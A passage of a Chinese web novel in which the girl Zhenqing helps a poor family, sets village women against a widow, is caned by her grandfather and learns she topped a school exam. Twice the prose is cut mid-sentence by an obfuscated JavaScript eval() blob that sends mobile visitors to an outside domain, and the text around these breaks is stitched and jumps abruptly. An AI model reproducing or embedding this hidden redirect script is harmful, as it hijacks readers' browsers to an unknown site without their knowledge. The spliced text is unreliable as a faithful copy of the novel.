陈学礼哭得抽抽,大概也确实是冻坏了,好半天才哆哆嗦嗦地说:“我娘说,说,说要下雪,柴不够烧……叫我去捡柴回来……我捡回来,我捡回来……遇到胖虎……把我的柴禾筐子,都扔到桥底下去……我下水去捞,可是柴禾都湿了……” 珍卿蹲下身摸摸陈学礼的裤角,再摸摸他的鞋子,湿沱沱的都要结冰了。她大叹一口气,严肃地跟他说:“你这样不行,会冻坏的。”说着赶紧把陈学礼拉起来,不由分说拉着他“噌噌噌”赶紧走。 走了小一会儿,珍卿才一拍脑袋,问陈学礼:“你家在哪儿呢?”陈学礼冻得声音弱弱的:“在那边。”珍卿看看他指的方向,呃,反正大概其就在东南方面。 珍卿就拉着他的袖子,急促带着他往那个方向走。没走几步听见背后有人喊她,就见玉琮喘嘘嘘地跑过来。 玉琮走完亲戚刚回家,听说珍卿来过家里又往玉理家来了,他就赶紧过来追她。听说她送陈学礼回家,玉琮就跟她一起往陈学礼家去。 到了陈学礼家里,珍卿才见识到什么叫家徒四壁,一贫如洗。他们家甚至连张像样的椅子都没有。 这个陈学礼湿哒哒地回到家,他的父母一个蹲在一边发呆,一个神情麻木地靠着墙壁缩着。家里来了两个送儿子回来的小客人,他们连最基本的寒暄也没有。 外间炕上是他们家两个女孩儿,也痴痴愣愣地坐在上面,没有跟客人打招呼的意思。最小的那个女孩儿竟然连裤子也不穿,下雪的天气光着腿脚,上身虚盖着一个脏兮兮的被子。 他们这家里简直冷得像冰窖一样。珍卿看炕上那最小的女孩儿,她露在外面的腿和脚像是被烫伤的,反正惨不忍睹,珍卿看过第一眼,就不敢再看第二眼。 玉琮也不太到穷人家里,这里的景象看着触目惊心,就拉着珍卿说:“咱们走吧。”珍卿也没有多做什么,就是把送给玉理的点心,悄悄放在陈学礼的柴筐里了。她可不敢轻易管闲事,杜太爷要是知道了肯定会教训她的。 等两个孩子走离那一片地区,一直没吭声的玉琮忽然说:“那个小妮儿腿跟脚都烂了,珍卿,你看像是冻的吗?”珍卿皱眉摇头:“看着不像,倒像开水烫的。” 穷人家里既没有衣服穿,也没有钱治病。她每回遇到这样的事,就觉悟到她托生到杜太爷家里,其实已经算幸运的那一类了。 珍卿本来不想管闲事,可是现在已经看不到陈家的景象,她心里还觉得沉甸甸闷乎乎的。玉琮也是一样的心思,珍卿看着玉琮问他:“村里古大夫住哪儿?”玉琮蓦然眼睛一亮,拉着珍卿说:“我们找大夫,给那小妮儿治治?”珍卿重重地点头,她刚才还在祈求神佛,请他们保佑杨家人和杜家人。做一件好人好事,如果真有神佛,他们也能看得到吧。 两人就挽着手往古大夫的家里去。这两个半大不小的孩子找到古大夫,在前院的医馆里请古大夫去村东南的陈家,给那个陈家小妮儿治一治腿脚上的烫伤。 这古大夫反应不太热络,摆手说:“老陈家啊,我晓得他们家的事。天太冷了,孩子们都冻得不行,陈家的五妮儿,把七妮儿的脚伸进灶囊子给她烤。七妮儿太小不晓得说话,脚又冻僵了,烤火烤得没得知觉,等发现的时候,小脚丫和小腿儿都给烧烂了。” 珍卿就问:“那你老咋没给治治?”老大夫苍凉地叹:“玉琮少爷,大小姐,不是我老儿心狠。治烫伤烧伤的药,要管用那都得是贵药,我哪儿发得起这个善心?” 珍卿问是什么药,要花多少钱。老大夫瞅了珍卿一眼问:“大小姐,老陈家跟你沾亲带故?” 珍卿说“不是”,继续问他是什么药,花多少钱。 这老大夫就从抽屉里拿出一个小瓶子,但里面已经空了。他指着空瓶给珍卿说:“这种治烫伤烧伤的药粉,是夏阳县徐家的秘制偏方,用的都是冰片、香油、黄柏、大黄等名贵药材。我光进他这一小瓶子就要两块银洋,一次最多进两瓶子,我都是用完了再去进。大小姐您说说,我发得起这个善心吗?” 珍卿就问:“还有多少,都拿出来,我们全买了。”那老大夫愣一下,才说不巧的很,最近天冷,总有烫伤烧伤的人来,药已经卖完了。玉琮又说:“我们先付你定金,你去进几瓶回来,回来了付你全款,绝不会赖你。” 这个古大夫又推托说,到夏阳来回要走两三天,现在寒天大雪的他可不敢轻易出门。总之,这古大夫显然怕沾惹此事,反正药没了也不想去进药,就只有这个态度。 看这两位少爷、小姐,明摆着要动怒了。老大夫才不紧不慢地说:“不过话说回来,未必要用这么贵的药,把狗油炼了拿来抹伤也一样。除了狗油,像什么猫油、獾油、蛇油也都得用。可怜七妮儿爹娘心狠,连这点儿东西也舍不得给她用……” 珍卿算是看明白了,这老大夫就是不想管。世道艰难,大家都过得不易,确实不敢轻易发善心。 他们拿这老大夫没办法,珍卿就退一步问这古大夫:“你刚才说,狗油、獾油、猫油、蛇油都行,你这里卖得有吗?”老大夫就大摇其头说:“老头儿我这里只卖药粉药膏,这些个偏方的东西,我都是现用现做,现在可没有。” 珍卿又问:“哪里能得着呢?” 古老大夫跟她说:“就在村东南,有几个光棍儿最爱吃狗肉,这些日总见他们杀狗吃,他们那准有狗油。大小姐,我老儿好言劝你,你就算发善心,也别太低了身段跟那帮光棍去说话。在家里找个长工,拿着你的钱帮你买了狗油,叫长工给老陈家送去,这就省了许多麻烦……” 珍卿和玉琮一块从古家出来,玉琮跟珍卿说:“那老头儿虽说站干岸儿,不愿意管闲事儿,他说的还是有理。珍卿,这事儿你别管了,我在家找个长工,买了狗油直接给陈家送去,告诉他们怎么用就行了。” 珍卿想了想,点点头说:“我回家拿钱去。”玉琮说他有,珍卿摇头说:“事是我们一起揽的,不能叫你既出力还出钱,你跟我回家一趟吧。我刚把给玉理的点心留在陈家了,等会儿还要去玉理那。咱俩一块儿。” 两人一块小跑着回到珍卿家里,珍卿就开始找她的扑满——就是存钱罐。 珍卿虽然亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他就顺势说起家里的烦心事。原来他们南村东边,有一家姓邵的俏寡妇,长得颇有姿色,而性情颇为风流。他丈夫年纪比她大不少,三个月前过世了,邵寡妇明着就发展了不少相好。 那邵家门里尽都是老实人,奈何不了那作风狂浪的邵寡妇。邵家人就请求到杜氏族长这里,族长就派大儿子杜锦堂——就是玉琮他爹,带着村中有威望的老人们,去给邵寡妇说说道理。杜锦堂他们劝说的大概意思是,要么就好好守寡,要么就好好嫁人。 那俏生生的邵寡妇真是彪悍,也不知道怎么弄的,反倒跟劝诫的人撕扯起来了。最后那邵寡妇竟然咬定了说,玉琮他爹杜锦堂乘机揩油,摸了她的屁股又摸了她的胸啥的。邵寡妇说要她改嫁也行,只是非要嫁给玉琮他爹,而且正经要当二房的。 昨天傍晚和今天早上,那女人专意拦在玉琮家门前,没皮没脸地胡说八道,指天誓地说没了清白,要嫁给玉琮她爹做二房。把玉琮他爹弄得没法出门,玉琮他娘也气得卧床不起。 珍卿听说是这种事,就笑嘻嘻地问玉琮:“知道啥人能治得了泼妇吗?”玉琮满脸期待地问她:“啥人?”珍卿就说:“所谓恶人自有恶人磨,泼妇还须泼妇治。你想想,咱们庄上最厉害的泼妇是谁?” 玉琮想了一想说:“九先生的老婆,她就出了名的厉害。”九先生的老婆虽然是个泼辣的老太太,但她不是一个恶人。 珍卿伸出两根手指说:“还有崔胖虎的娘和崔胖虎的外婆。” 玉琮眼眸大亮地问珍卿:“你有啥主意,快说说!”他们两个小孩儿就凑在一块儿,如此这般商议好了行动计划。他们不用亲手教训邵寡妇,只给那邵寡妇跟崔胖虎牵线搭桥就行了。 崔胖虎糟蹋人家好好的女孩子,他们杨家那些长辈不说安抚,反倒还更加打骂直接逼死了人。这一回招惹上邵寡妇,看他们杨家人怎么开交。 13. 正挨打忽中榜首 五天以后的后晌,杜家庄南村邵寡妇的家里,传出一阵阵撕心裂肺的惨叫。这邵寡妇家的门里门外,站满了看热闹的群众,男人们就笑嘻嘻地,女人们就拍手称快。 崔胖虎的娘杨氏撕扯那邵寡妇的衣服,把她扯得衣衫不整、十分狼狈。她嘴里同时还不停地倒出污言秽语,那脏话真是不堪入耳之极。另一个年纪稍大的敦实妇人,是崔胖虎的亲外婆杨老太太。她一边扯着邵寡妇的头发,一边狠狠在她脸上抽嘴巴子,咬牙切齿地咒骂着:“臭腚的贱货,当biao子上瘾是吧?老的小的你想一通吃啊!哪天不叉开腿卖x,你连公狗都扯进被窝里……” 崔胖虎的娘还特意带了剪刀,逮着空隙把那邵寡妇的头发剪了一个稀巴烂。胖虎娘剪完了邵寡妇的头发,还把邵寡妇的绣鞋也剪烂了几双,扔到院子里和房顶上,向看热闹的父老乡亲们发起号召说:“以后你们穿破的鞋都往她家里扔,这里住着破鞋的祖宗,徒子徒孙来这儿正对路儿。” 看客们登时哄然大笑,多少人都在那拍手叫好。那个邵寡妇其实也很彪悍,一听见这话儿突然发起狂来,夺过胖虎娘的剪刀就乱刺乱戳,把暴打她的两个杨家女人都扎伤了。 旁边人多拦得及时,幸亏没有闹出人命,但被扎伤的两位杨家女性都不依不饶,紧持要把邵寡妇送到县里告官。 这一天向晚的时候,珍卿从南村玉琮家里回来,算不上特别高兴,但也没觉得有啥负罪感。 邵寡妇行为放荡,并非是被人逼迫,也不是为了生计。她虽然没有孩子,亡夫给她留下一份家业,经营好了也够她吃一辈子。杜家庄的风气在左近庄村是最温和的,并没有逼着守寡或浸猪笼一类的事,邵家人目前也没有欺灭绝户的事。邵寡妇客观上没有堕落的推力,可她就是半公开地堕落了。她对自己做的事不以为耻,反以为荣,嚣张到谁都敢诬蔑并挑衅。 也许这邵寡妇有心理疾病,也许她也曾受过不公待遇,但这不是她伤害其他无辜者的理由。邵寡妇祸祸到玉琮一家人身上,珍卿不管她有什么苦衷,就是要帮玉琮一家人治她。 珍卿慢悠悠晃进了家门,大田叔告诉她,杨家湾的三老爷来了。珍卿一听顿时喜出望外。 这位杨家湾的三老爷,就是杨家姑奶奶的三儿子——杨若兰的亲爹,同样给珍卿寄过启明学校招生简章的那位。找学校的事三表叔一直上心,她正想好好感谢他呢。 珍卿哒哒哒地跑进二进院堂屋,见三表叔一人坐在那里喝茶,她就跳过去先大声问三表叔好,然后细致地嘘寒问暖。说了会话一直没见杜太爷,珍卿就问三表叔他祖父一直没在家吗。 三表叔说他也不清楚,刚才杜太爷在这里陪他说话。然后黎管家说有人找他,杜太爷出去了一直没回来。珍卿听说是这样也不觉如何,自觉把招待客人的重任揽到自己身上,像个小丫鬟似的一会儿给表叔斟茶,一会儿亲手摆放点心,又觉得这正屋里冷,出去跟大田叔说提个炉子进来。 她像个小喜鹊似的叽叽喳喳,还一直进进出出地忙活。这份招待长辈的热乎劲儿,让三表叔看着确实喜兴。三表叔看一会劝她别忙活了,把给她带的东西拿出来看。这些东西里有两本书,孔颖达注释的《春秋左氏传》,和最新版的《熙成字典》,还有不少从市里带来的吃食。这一会儿杜太爷不在,三表叔悄悄跟珍卿说,上回在杨家湾说给她带的那本画册,今天他也带来了,晚一点悄悄给她,免得被杜太爷看到。 得了这么多好东西,珍卿更是满心的欢喜。她那哄人的话不要钱似的往外落。许诺等她长大了,要怎么怎么孝敬长辈,哄得三表叔眉开眼笑,拉着她在一起坐下,把带来的点心打开招呼她吃。 看他吃时问她的身体情况,又问新找的厨娘听差怎样,还问起她在启明学校考试的情景。 两人吃东西说话正高兴,忽听门口有动静,门被从外面推开,杜太爷沉着一张大长脸,怒色隐隐地走进来了。珍卿看他手里提着一根戒尺,立刻头皮发炸、心里发慌,暗想:针对邵寡妇的计划今天刚刚马到成功,难不成杜太爷这会就晓得了?! 杜太爷黑着脸走过来,拿戒尺指着珍卿厉声说道:“你这一阵总在外面闲晃,我念在你病才好没有管你。你这没记性的混账东西,三天不打你就上房揭瓦。我嘱咐你的规矩,你都忘到狗肚子里了!背着我你啥事都敢干了!你今儿个要是自己招认,我还少打你几板子。你是敢嘴硬顶到不说,你看我不打死你!” 杜太爷咬牙切齿地说着,手里舞着他的竹戒尺,在桌上砸得啪啪直响。珍卿微微侧过身,咬着牙昂着脸就是不吭声,一副威武不能屈的样子。三表叔含笑看着珍卿,要是她嘴里没在咀嚼,手里没有拿着半块莲花酥,她这个姿势倒是挺大义凛然的。 老太爷见她竟还不肯就范,脸色黑得跟锅灰似的,额头上的青筋直蹦,突然暴喝一声:“你给我跪下!”珍卿看他举着戒尺,现在不打桌子了,直接在她身前挥舞着。她脖子一梗脑袋一扬,似乎还是一副很不驯服的样子。眼看那戒尺要落在她身上时,她出乎意料地腿上一打弯,就噗通一声跪下了地上。 目睹全程的三表叔不由忍俊不禁。原来还以为她会死硬到底,没想到这个妮儿还是个识时务的俊杰。表舅这样的人怎么教出这么有趣的丫头? 杜太爷的脸涨得黑红,怒焰高涨地暴喝道:“你不说就不说,把手给我伸出来!”珍卿心里哀叹,该挨的打总会挨的,不伸手是躲不过去的。 她耷拉着脑袋伸出她无辜的左手,就见杜太爷高举着戒尺,狠狠落到她的手心。珍卿被打得一个哆嗦,眉毛死死地皱着。但她只是偶尔哼一声,打得再狠不喊叫也不哭闹。从知道哭叫求饶没有用,她挨打就再不哭叫求饶。 她上辈子越长大就越不爱哭。没人怜悯你的痛苦,哭之何益?而杜太爷打她时,除了姑奶奶亲自镇压,他谁的面子也不给。所以珍卿也不求三表叔。就算三表叔蛮力拦住杜太爷,三表叔总有离开杜家庄的时候,到时杜太爷会变本加厉害打。 珍卿被打咬着牙就是不吭声。大田叔的老婆罗妈还在外头凑话:“不听话就是该打,不管她心就野了。”黎大田在外面呵斥他老婆,把她扯到偏僻处狠狠打了她两巴掌…… 三表叔看珍卿挨了五六板子,觉得就算真做错事也差不多了,就上前拦住暴怒的杜太爷说道: “表舅,小花大了,要给她讲道理,一味打她恐怕适得其反。表舅,不为别的,就为小花在启明学校考试考了一个榜首,也不能这么打。” 杜太爷和珍卿都听愣了,榜首是个啥意思?杜太爷听她这么说,第一时间丢下戒尺,揪着表外甥问他说的啥意思。 珍卿也眼巴巴地瞅着他。三表叔看祖孙俩如出一辙的期待表情,本来不想说的事情还是提前道出来:“启明学校的卢纯庵教务长,是我留学时候的同学,我私下里跟他打听小花考得如何。没想到一问之下,那考场近一百多名男女考生,小花竟然考了个榜首。” 杜太爷犹然不信,叫珍卿站起来问她:“不说你在考场一直闷头睡嘛。”珍卿闻言莫名其妙:“谁一直睡嘛,我题全都做完了,发烧头晕撑不住才睡的,那也是不小心睡着的,没一直睡啊。” 杜太爷神色凝重,若有所思一会儿,突然恼火地说:“那你咋不早说,害得我瞎担心,你这个妮儿真是欠收拾。”珍卿觉得他这火发得莫名,退开一步噘着嘴嚷:“考完试回来,你一句也不问,我还以为你一点不关心嘞。” 三表叔暗叹,也不晓得谁传的消息,说小花在考场一直睡完全场,说杜家庄杜太爷的孙女准定是要落榜。他们杨家湾的人到县里走动,听说了这件事也拿回杨家湾说嘴,不知不觉就传到他母亲耳朵里。 虽说得了榜首的好消息,让杜太爷喜出望外、 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珍卿受教地点头,说:“三表叔,我明白了。”也不晓得这是谁跟杜太爷告的密。哼,别让她知道了。 三表叔瞅瞅不吭声的杜太爷,笑着跟他说:“表舅,你看,跟小花讲道理,她一点就通了。”珍卿垂着脑袋没有瞅杜太爷,也把身子朝着杜太爷的方向,嘟囔着说:“祖父,我知道错了。”杜太爷垮着长脸,对着珍卿又喝了一句:“下回再犯,还要打你。” 珍卿翻翻眼睛,在心里哼了一声,噘着嘴没说话。杜太爷也没吭声,捏着戒尺自己晃荡出去了。 三表叔又跟珍卿说了两句,忽听门扇一响动,袁妈就端着水进来了。她放下水盆扭头跟珍卿说:“小姐,我给你上点儿药,晚上不火辣辣的疼,还能睡一个好觉。”珍卿有点景仰地看她,这业务素质也太好了吧。果然在大户人家做过事,就是比罗妈这种土憨憨有眼力见儿。 珍卿往年三五不时地被暴打,那个憨憨的罗妈绝没有这样的觉悟和效率,通常还要靠大田叔这个男管家来给她上药。正想着忽听外面有打锣声。大田叔出院门看了看,一会儿回来说:“外面点了好多火把,确实有人在打锣,说是村里进狼来了。” 听说村里进狼了,珍卿心里多少有点紧张。她上辈子没有见过狼。穿过来以后,才知道这个时代的村庄,居然还受着野生猛兽的威胁。不过村里的人既然发现,肯定有人去处理去了。 珍卿挨了这一顿打,袁妈服侍她上药换衣服啥的,家里男工人还有出去帮着打狼的,珍卿家这天晚饭就吃得很晚。等到主客都坐到席上,说着话儿开始吃饭时,已经是七点多钟了。 大田叔从外面回来,过来跟杜太爷他们说: “庄上没有进来狼,说是崔胖虎的娘跟她姥去邵寡妇那闹事,被邵寡妇拿剪子扎伤了。崔胖虎晓得了赶紧从南村往北村跑,过桥的时候不晓得咋摔的,掉到玉带河里头啦。她两手两脚都扎进河泥里,半天死活拔不出来,他说有水鬼抓着他的手脚往河底下扯,给他吓得鬼哭狼嚎的。 “住河边上的几家人听着怪瘆人,以为是山上的狼进村了呢。大家就拿着家伙什儿,敲锣打鼓地去打狼,谁晓得是他在河里叫唤……” 正在抱碗喝汤的珍卿,不由破功喷笑,喝进嘴里的汤差一点喷出来。果然恶人自有天收吗?老天爷还有这样的骚操作?杜太爷一拍桌子,瞪着珍卿说:“你给我老实点儿。” 大家默了片刻,杜太爷感性地说:“做人还是不能太恶。那崔胖虎前阵子糟蹋了个他姥爷家的丫头,他娘、他姥不说教训他,倒把那个丫头打得半死,丫头气不过上吊死了。” 三表叔也很唏嘘,痛惜一条人命,也叹现在为富不仁者实在太多。珍卿就问三表叔,崔胖虎他们家到底是个啥来头,害人性命难道没人能治他们吗?三表叔和杜太爷,就讲起他们所知的一些事,说到底也不过虚张声势罢了,甚至比不过大闹考场那姑娘背后的严家。 14. 庆升学杜家摆席 这天晚上吃完了饭,珍卿和三表叔一起在院里散步。散完步又一块在外书房,珍卿问三表叔一些课业上的问题,三表叔就耐心给她解答疑问。 解答完了所有问题,珍卿见杜太爷这会儿不在,忙打听粮店、林掌柜、景舅爷这些人事,三表叔神情有点复杂地看着她,觉得这不是小妮儿该挂心的事,可是想一想杜太爷那个样的,便也大致跟珍卿说了一下情况。三表叔说是杨家大表伯和杜向渊父子在经管此事,听他们的意思是不急着打草惊蛇,务必要把林掌柜和景有德拿贼拿赃,最要紧的是要给杜太爷大教训,因为杜太爷若不省事以后免不了还有这事。 但三表叔还是看珍卿年纪小,没有详述怎么筹策整个计划的。三表叔这时把藏了半天的画交给珍卿。这是一部石印的《点石斋丛画》,一共有八本。它本是一个画集,收录了很多中国画家的优秀作品,也有一些东洋画家的作品。 珍卿六七岁时在家里的仓房中,无意间翻到三本《点石斋丛画》——她猜测可能是杜爸爸的。但那三本书用纸很粗糙,印出来的画质量也不咋样,并不是一本观赏性强的画册。但那些年她总被关在家里,整天就是读书写字,几乎没有任何娱乐可言,那么粗糙的画本也让她如获至宝。反正闲着也是闲着,她就拿学写字用的竹纸蒙在画册上,饶有兴致地摹画册子上的各种图案。 但杜太爷总认为是玩物丧志,教训了她许多回数。后来还是匡先生说情,说书法画画不分家,练习书法之余画点画,是相得益彰的事儿。而她又能给姑奶奶她们画花样子,杜太爷也就勉强容下她这个爱好。读书之余时不时画点儿小画,是珍卿生活中为数不多的乐趣。不过为了不招杜太爷的眼,她总是趁着他不在家偷偷画。 三表叔问她:“小花,你还是喜欢画人物?”珍卿点了点头。可能两次童年都是在孤独中成长,见得人少,她对人这种形象反倒很敏感,总下意识观察人的姿势、神态、动作,包括微妙的心理活动。对于景物兴趣就小一些了。 三表叔沉吟着说:“那将来最好学一学西洋画。”珍卿自然知道学画要有素描基础,便趁势请教他西洋画中的人物画技法。 三表叔是留过洋的高材生,学的专业就是土木工程,能画很好的建筑设计图,对绘画也有一定了解。最后聊得差不多,珍卿把新抄完的两本佛经,托三表叔给姑奶奶带回去。 三表叔看着经书,问珍卿:“你现在信佛了吗?”珍卿摇摇头说:“我觉得是虚幻的东西,但确实给无能为力的人一点心理上的安慰。” 珍卿看他没有说话,眼睛里面有一些特别的思绪。她问他:“三表叔,那你信神佛吗?你信他们说的因果报应吗?”三表叔看向窗外的黑夜,神情变得飘渺起来,而其间似乎又有些凝重。 珍卿好奇地看着他,过了许久,三表叔才模糊地说:“大约是信的吧。”珍卿捧着脸问她:“为什么呢?”三表叔笑道:“东洋人在中国做下许多恶事,但中国积贫积弱,奈何不得东洋人。上学的时候,我们青年学子也觉愤愤不平,却奈何不得东洋人,只是发愤读书罢了。可是前年他们发了大地震……我却暗暗快意,觉得老天有眼。其实这样也很不应该……” 珍卿怔忪地看着三表叔。三表叔学成土木工程后,在永陵市的政府建设局做事,是管理城市建筑规划的小头头。现在的人不少在闹革命,也有人在高喊实业救国、教育救国。三表叔的职业生涯跟这些好像都不大相干。但珍卿突然觉得,像三表叔这样的人,即便是默默无闻,也是忧国忧民的知识分子啊。 三表叔看她愣愣的神情,以为她听不大懂,他摸摸她脑袋笑道:“你们这一代人,不要信神佛之力、因果报应,若都指望冥冥中的虚幻力量,那我们的国就没救了。小花,三表叔一定支持你念书,学成以后如果有机遇,最好也到社会上做事,为生养你的这片土地也尽一份力量。” 三表叔其实也很矛盾,国家积贫积弱,任人宰割,已到了要亡国灭种的境地。他觉得就应该解放妇女,让全部的中国人为救亡图存贡献力量。可女孩子的正经出路说到底还是嫁人。就像他自己的女儿杨若兰,他想让她出去读书,却受到家里不少人的阻拦,连他女儿自己也因为怕吃苦不愿意出门,他老婆也因为疼女儿不同意。 乡下的许多旧观念旧风俗,他这个高材生有时候也觉得无能为力。 珍卿听得默然。她确实一直在努力念书,但她是为将来有安稳体面的生活,没有想过为谁抛头颅、洒热血来着。她总觉得她来的这个世界,似是而非好不真实,多少也觉得不属于这里。 三表叔又突然问:“小花,你想你爸爸吗?”珍卿长叹一声,低下头老实说道:“我都记不起他的样子了。”三表叔叹了一声:“你别记恨他,他跟你妈妈感情很深,你长得太像妈妈,他一见你怕是伤心。” 珍卿低着头没吭声。 其实她刚穿来时,就只感受到母爱,没怎么感受到父爱。这个身体的爸爸对她这个小孩儿,态度是比较冷淡的,有时甚至特意避着不见她。 据当时照顾她的老妈子说,她这里的亲妈原本身体没这么糟,就是生了原主之后,健康状况才江河日下,以至三十出头就死了。她这里的亲爹,似乎是一直迁怒于她。 叔侄两人正相对沉默,忽听杜太爷在外面扬声说:“老三,时辰不早啦,珍卿要睡下了,别聊啦。”三表叔拍拍珍卿,说一声:“早点睡。”珍卿回他一句:“三表叔做个好梦。” 日子又滑过去几天,杜太爷带着珍卿一块去县里看榜。一看果然是珍卿考了头名,分在高等小学的六年级女班,再过一个月才正式开学。杜太爷登时欢天喜地,特意跑到东升粮店里面,跟林家人美美地炫耀一番才赶回杜家庄。 杜太爷回到家里还喜得不行,简直有点坐立难安,立马吩咐大田叔去买肉,说明天要大排筵席好好庆祝。然后,他又拉着珍卿去祠堂里拜祖宗,说这是光宗耀祖的大事情。珍卿也高兴却不像他那么激动。她不过考上高等小学而已,又不是考上进士马上就能封官挣钱了。 杜太爷跟祖宗们禀告珍卿考学的事,珍卿也对着她妈的牌位说她要上高小了。 想到这里早逝的慈母,一向沾床就睡的珍卿这天晚上难得失眠了。 晚上一失眠,第二天早上难得起晚了。起来时听着外面有点吵,迷迷登登地坐起身,默默地醒着神儿才开始动手穿衣。才穿好衣裳就听见房门一响,袁妈端着洗脸水进来,珍卿下了床自己洗手洗脸。 洗漱完毕,袁妈把镜匣子打开,开始给珍卿梳头。珍卿愣了一会儿神,听见前面人声嚷嚷热闹地很,问袁妈:“前面吵什么呢?”袁妈给她梳开头发,笑着说:“太爷说,小姐考了榜上头名,是光宗耀祖的大喜事。他张罗着要办几个席面,请亲戚朋友来凑热闹。昨天就请好做席的大厨,把该办的菜和肉都买了。前面都忙活着做菜嘞!” 珍卿看着镜子中的自己,睡眼惺忪且半张着嘴,看起来要多傻有多傻。老天爷啊,她又不是考上名牌大学了,不过是考上县城的小学六年级。这个事有这么了不起吗?值得昭告亲戚、大办酒席吗! 昨天杜太爷说要好好庆祝,她只当是自家人庆祝,谁承想他把场面搞得这么大。珍卿自觉学问还行,以后还能再取得一些成绩。 但这个考试在明白人眼里,不过让她从家庭教育和私塾教育的阶段,成功进入国民教育的小学阶段。考上小学就给闹出这么大动静,这叫她这个十二三岁的小学生情何以堪啊?! 珍卿好想冲到前院把那做饭做菜的锅,都给他掀个底儿朝天。好想吃一颗仙丹灵药,直接摆脱地心引力,冲向那遥远的月球。家里的这个老头子,哪天不带她出出洋相,日子好像都过不下去。 珍卿正在自闭,忽听罗妈在窗外喜不自禁地说:“大小姐,太爷买了几挂大鞭回来,真是!家里多久没办喜事了,早该热闹热闹……”啥,还要放鞭炮,还几挂大鞭?!她又不是要结婚出门子,放的哪门子大鞭d呢!WTF. —————————————————————————— 还是这天上午,余二嫂在房檐下剁肉,剁得“梆梆梆”直响,好像生怕路过的人听不见似的。还真有听见的人扒着她家的篱笆问:“余二嫂,你弄啥呢?恁大动静!” 余二嫂就喜气盈盈地说:“嗨,没弄啥,昨儿他爹从县城回来,带了一条五花肉。天天吃萝卜青菜,俩孩子眼都冒绿光了。正好一家人齐全,就包一顿猪肉大葱馅的饺子吃。” 那问话的街坊驼包嫂听见,就啧啧称赞:“余二嫂真有福气,你家余二太能干了,这不年不节的,东家就给发了五花肉,俩孩儿也有口福喽……”说着羡慕不已地走了,余二嫂于是剁得更加卖力,他家男人余二能干,她的腰杆子就硬,自然值得骄傲的。把肉馅儿剁巴好了,余二嫂跑到前面菜园子再拔点儿葱,正吭哧吭哧拔着葱呢,就见那大路上许多老少爷们儿和婆妈嫂子,兴匆匆地紧往村北头走过去。 这些人一阵连一阵的,没个断绝似的,不少是南村杜姓的人,余二嫂扯声喊住一个人问:“顺三嫂,你们这前前后后的,是上哪儿去啊?”顺三嫂喜盈盈地向前走,听见喊她也没停下脚步,只扭回头大声答了一声:“去俺小太爷家吃席去。大小姐考学考了头名,小太爷昨儿夜里叫大田儿去买了半扇猪肉,就为今儿开席嘞。” 说着话人已经走远了,余二嫂一听顿时不是滋味儿了。她天天跟人传说大小姐准准要落榜,没成想没几天就打脸了。余二嫂心里揪扯着,捏着两把细葱站在菜地里发傻,忽见南村两家穷得冒血的人,也喜滋滋地往村北头走,余二嫂下意识就拦住问:“矮婶儿,你跟老杜家不沾亲不带故的,你难不成也去他家吃席昂?” 穿着补丁棉袄的矮婶儿,见问笑得合不拢嘴,拍着手说:“谁说不是嘞,俺们跟杜家也没啥亲。这不是上三个月,大小姐都在族学里嘛,俺天天给大小姐倒茶,还给她烤红薯吃,她衣裳淋湿了也是俺给她烤干。大小姐就跟太爷说,俺是个有心的人,这不杜太爷就记住了嘛,叫俺一家子都去吃席去……你说这个,真是不晓得咋说。大小姐真是知冷知热的,怪道杜太爷这么疼她,给她办席……” 看那穷老妈子也走远了,余二嫂恨恨地跺脚道:“老话说‘远亲不如近邻’,穷老婆子都喊去吃席,这么紧的近邻竟然不喊,死老头子一点不会做人。” 杜家庄不算太穷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16411965|184628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但就算是财主家里,也不见得天天吃肉,普通人家吃顿肉更不容易。余二嫂恼恨纠结不已,有心不请自去到杜家白吃白喝,那杜家老头子不讲礼数,他肯定会当众把她轰出来,着实不好丢这个脸,可这样白捡的席错过又懊丧得很。 余二嫂悻悻地站了一会儿,正要回家去,忽见南边汤老汉从菜地出来,抱着几根莴笋正往家里走,她就有点幸灾乐祸起来:“汤叔,我们年轻小辈儿的,杜太爷想不起来那也没啥。你老人家这么有面子,这杜太爷把你老也给忘了,太不像话啦。” 汤老汉走到家门口了,扭过脸跟余二嫂说:“我跟他又不是亲戚,他不请又咋了?我一把年纪啥好东西没见过,不缺他那一口儿。哼,为个丫头片子,这么能糟蹋东西,金山银山早晚有花尽的时候……”汤老汉说完话,扭头回了他家里。 余二嫂捏着葱往家走,凉风轻轻吹着,觉得猪肉大葱馅儿的饺子,肯定是不如炖肉香的。 ———————————————————————————— 杜太爷的大院子里,客人陆陆续续地都来了。 其实从吃完了早饭后,就有不少客人提前来了,农村人大多数手脚勤快,女人们来了多数帮忙干活的,杜太爷就安排男客们在后面厢房,叫珍卿在外书房读书写字给客人看。 那些客人们在对面看珍卿读书写字,就跟看西洋马戏团那么新鲜,隔着院子在东厢房那里兴高采烈地评头论足。还有人远远地评头论足还不够,干脆跑到珍卿的外书房近距离观看。 当然,会跑过来看现场学习的人,多是有学问修养的,不会指手画脚大说大嚷的。珍卿写完字他们拿在手里传看,有人就开始引经据典地夸奖她。珍卿还没有被夸到飘,杜太爷嘴都咧成瓢了,骄傲得恨不得乘风飞翔了。 眼看快到中午饭点了,当族长的向渊堂哥也带着一家人来捧场了。大田叔就连忙跟杜太爷提建议,叫大小姐出去见见客人,看时辰也要准备开席了。珍卿于是就出去见客人,客人说的话也没啥新鲜的,友好的就对她大加夸赞,不说一点儿歪话。不怎么好的人,就会翻出她小时候的顽劣史,到最后轻飘飘地说长大就出息了。珍卿该谦虚的时候谦虚,该闭嘴的时候闭嘴,总算没有让人找到挑理的地方。 等珍卿见完这些亲戚,大田叔就招呼着要开席。珍卿跟杜太爷说她有点头晕,想去后面歇一会儿,杜太爷也顾不上她,就让她去了。珍卿被围观学习了一上午,又应付了这么多所谓的客人,真是心累得慌。 